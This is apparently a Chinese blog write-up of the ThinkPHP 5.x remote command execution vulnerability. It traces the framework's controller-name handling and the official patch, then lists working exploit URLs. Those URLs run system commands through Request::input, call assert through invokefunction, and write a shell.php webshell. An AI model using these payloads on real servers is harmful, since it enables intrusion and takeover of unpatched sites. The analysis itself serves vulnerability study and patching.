ThinkPHP 5.x 远程命令执行漏洞分析与复现

环境搭建

在线复现平台

本地复现Github地址

用IDEA调试docker起的环境

官方解释

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

下面是来自官方的解释:

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

解释是getshell漏洞,如果无法更新最新的补丁,则要开启强制路由。

在ThinkPHP5框架中,默认开启路由兼容模式。

可以看到是否开启强制路由false,且可以使用路由兼容模式s参数。

如果框架没有对控制器名进行足够的过滤检测,则可以通过提交参数调用任意类方法控制器。

http://website/?s=模块/控制器/方法

漏洞分析

看下v5.1.x补丁的代码:

原代码:

// 获取控制器名
$controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;

补丁代码:

// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
$this->controller = $convert ? strtolower($controller) : $controller;

可以看到区别是,传入的$controller之后,加了一层正则过滤。

添加代码的文件在thinkphp\library\think\route\dispatch\Module.php。

跟踪$controller,在同一类中有另一个方法exec(),在其中实例化控制器:

try {
    // 实例化控制器
    $instance = $this->app->controller($this->controller,
        $this->rule->getConfig('url_controller_layer'),
        $this->rule->getConfig('controller_suffix'),
        $this->rule->getConfig('empty_controller'));

    if ($instance instanceof Controller) {
        $instance->registerMiddleware();
    }
} catch (ClassNotFoundException $e) {
    throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

可以看到这里调用的是app类里的controller()方法,继续追踪:

thinkphp\library\think\App.php

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
    list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

    if (class_exists($class)) {
        return $this->__get($class);
    } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
        return $this->__get($emptyClass);
    }

    throw new ClassNotFoundException('class not exists:' . $class, $class);
}

传入的$name为控制器,于是追踪parseModuleAndClass()方法:

protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
    if (false !== strpos($name, '\\')) {
        $class  = $name;
        $module = $this->request->module();
    } else {
        if (strpos($name, '/')) {
            list($module, $name) = explode('/', $name, 2);
        } else {
            $module = $this->request->module();
        }

        $class = $this->parseClass($module, $layer, $name, $appendSuffix);
    }

    return [$module, $class];
}

这里有两次的strpos(),如果参数中含有\字符,则直接放回。

如果不包含反斜杠,则进入下面的判断,最后经过ParseClass解析。

public function parseClass($module, $layer, $name, $appendSuffix = false)
{
    $name  = str_replace(['/', '.'], '\\', $name);
    $array = explode('\\', $name);
    $class = Loader::parseName(array_pop($array), 1) . ($this->suffix || $appendSuffix ? ucfirst($layer) : '');
    $path  = $array ? implode('\\', $array) . '\\' : '';

    return $this->namespace . '\\' . ($module ? $module . '\\' : '') . $layer . '\\' . $path . $class;
}

parseClass()中,将/转换为\,且用其进行分割。

进入parseName()函数:

public static function parseName($name, $type = 0, $ucfirst = true)
{
    if ($type) {
        $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
            return strtoupper($match[1]);
        }, $name);
        return $ucfirst ? ucfirst($name) : lcfirst($name);
    }

    return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

其中连续调用了两次大小写转换函数。

最后返回拼接命名空间类型,放回命名空间的完整命名。

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
    list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

    if (class_exists($class)) {
        return $this->__get($class);
    } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
        return $this->__get($emptyClass);
    }

    throw new ClassNotFoundException('class not exists:' . $class, $class);
}

回到controller()方法,$class经过parseModuleAndClass()处理后,会进行判断该类是否存在,存在返回类,不存在返回自动加载类。

接着是实例化,使用反射来调用类以及相关方法。

分析漏洞:刚传入参数时没有进行正则过滤,在parseModuleAndClass()中,利用反斜杠区分命名空间,如果存在反斜杠直接返回类名。

EXP编写

尝试传入这样的参数:

?s=/index/think\app/index

试图调用app下的index方法:

返回报错,think/App目录下没有index方法,证明利用反斜杠,可以调用方法。

那么要做的就是寻找在目录下可以getshell的方法。

在用户提交参数后,参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法。

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

        $data = $this->getData($data, $name);

        if (is_null($data)) {
            return $default;
        }

        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }

    return $data;
}

而 filterValue 方法中使用了 call_user_func 。

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }

    return $value;
}

那么我们就来尝试利用这个方法。访问如下链接:

?s=index/\think\Request/input&filter[]=system&data=ls

尝试调用system(‘ls’),可以发现执行了`ls`命令,攻击成功。

常见payload

5.0与5.1兼容的多平台类:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

参考链接

[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录

ThinkPHP5漏洞分析之代码执行(九)

Thinkphp5 远程代码执行漏洞事件分析报告

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇